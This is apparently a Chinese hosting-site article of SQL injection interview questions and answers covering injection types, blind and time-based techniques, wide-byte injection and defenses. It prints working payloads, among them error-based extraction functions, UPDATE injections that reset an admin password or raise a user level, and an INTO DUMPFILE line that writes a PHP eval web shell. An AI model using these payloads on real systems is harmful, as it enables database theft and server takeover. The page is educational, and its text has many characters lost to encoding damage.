中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL注入滲透測試以及護網面試題有哪些

發布時間:2022-01-07 15:36:55 來源:億速云 閱讀:145 作者:iii 欄目:開發技術

這篇文章主要介紹“SQL注入滲透測試以及護網面試題有哪些”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“SQL注入滲透測試以及護網面試題有哪些”文章能幫助大家解決問題。

SQL 注入漏洞成因、注入的類型和方式、防范?

提交錯誤語句是否有異常,除此之外這些顯示的錯誤可以通過 sleep,修眠語句執? 5 秒,通過 DNSlog 判斷傳回值等。

select * from news where id = '$SQL';

當程序執?訪問新聞等?些操作都會執?到 sql 語句進行調用,如果在此調?過程中,提交了不合法的數據,?數據庫?法識別則會報錯。也就是?切輸?都是有害的。

注入類型有 6 種,可以參考 SQLMAP,報錯、盲注、聯合、時間、內聯、堆疊

注入提交方式:GET、POST、Cookies、?件頭

防范: 邊界 -> CDN(內容分發網絡) -> 腳本語?過濾 -> 數據庫過濾最小權限 -> 主機

盲注是什么?怎么盲注?

盲注是在 SQL 注?攻擊過程中,服務器關閉了錯誤回顯,我們單純通過服務器返回內容的變化來判斷是否存在 SQL 注?和利?的?式。
盲注的?段有兩種,

?個是通過??的返回內容是否正確 (boolean-based),來驗證是否存在注?。

?個是通過 sql 語句處理時間的不同來判斷是否存在注? (time-based),在這?,可以? benchmark,sleep 等造成延時效果的函數,也可以通過構造?笛卡?積的聯合查詢表來達到延時的?的。

寬字節注入原理

1、產?原理

在數據庫使?了寬字符集而 WEB 中沒考慮這個問題的情況下,在 WEB 層,由于 0XBF27 是兩個字符,在 PHP 中?如addslash 和 magic_quotes_gpc 開啟時,由于會對 0x27 單引號進?轉義,因此 0xbf27 會變成 0xbf5c27, ?數據進?數據庫中時,由于 0XBF5C 是?個另外的字符,因此 轉義符號會被前?的 bf 帶著 “吃掉”,單引號由此逃逸出來可以?來閉合語句。

2、根本原因

character_set_client(客戶端的字符集) 和 character_set_connection(連接層的字符集) 不同, 或轉換函數如,iconv、mb_convert_encoding 使?不當。

3、解決辦法

統?數據庫、Web 應?、操作系統所使?的字符集,避免解析產?差異,最好都設置為 UTF-8。或對數據進?正確的轉義,如 mysql_real_escape_string+mysql_set_charset 的使?。

SQL 里面只有 update 怎么利用

先理解這句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就實現了注?

1、修改 homepage 值為 http://xxx.net’, userlevel='3

之后 SQL 語句變為

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 為?戶級別

2、修改 password 值為 mypass)’ WHERE username=‘admin’#

之后 SQL 語句變為

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3、修改 id 值為 ’ OR username=‘admin’ 之后 SQL 語句變為

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

為什么參數化查詢可以防止SQL 注入?

原理:

使?參數化查詢數據庫服務器不會把參數的內容當作 sql 指令的?部分來執?,是在數據庫完成 sql 指令的編譯后才套?參數運?。

簡單的說: 參數化能防注?的原因在于, 語句是語句,參數是參數,參數的值并不是語句的?部分,數據庫只按語句的語義跑。

報錯注入的函數有哪些?

and extractvalue(1, concat(0x7e,(select @@version),0x7e))
通過floor報錯 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
exp()select from test where id=1 and exp(~(select * from(select user())a));

延時注入如何來判斷?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

盲注和延時注入的共同點?

都是?個字符?個字符的判斷。

sql 注入寫文件都有哪些函數?

select '?句話' into outfile '路徑'
select '?句話' into dumpfile '路徑'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php;

如何防護SQL注入攻擊呢?

1.對代碼進行過濾非法符號如</?&>之類的,對一些腳本標簽scrpt以及img或frame都進行過濾和替換。

2.對一些函數變量直接進行強制定義,比如金額函數這里直接限定只能寫入正整數類型的數值,那么其他的參數像姓名的話可以直接限定到只允許寫入中文和英文的數值,其他的以此類推。

3.對一些帶入數據庫查詢和更新的語句,一定要看看get或post過來的數據參數是否是直接把參數類型鎖定好了的,防止被注入惡意語句導致被攻擊。

關于“SQL注入滲透測試以及護網面試題有哪些”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

崇义县| 桃江县| 白朗县| 连平县| 文登市| 石河子市| 梁河县| 志丹县| 东宁县| 莱芜市| 平舆县| 宜丰县| 扎兰屯市| 磴口县| 新乐市| 鹤山市| 宝丰县| 赤峰市| 察隅县| 营山县| 蛟河市| 广东省| 公主岭市| 涪陵区| 通州区| 临武县| 金坛市| 黄冈市| 永寿县| 阿勒泰市| 宜阳县| 汶川县| 福贡县| 阳山县| 岑溪市| 云梦县| 高邮市| 通州区| 广南县| 大冶市| 鹿泉市|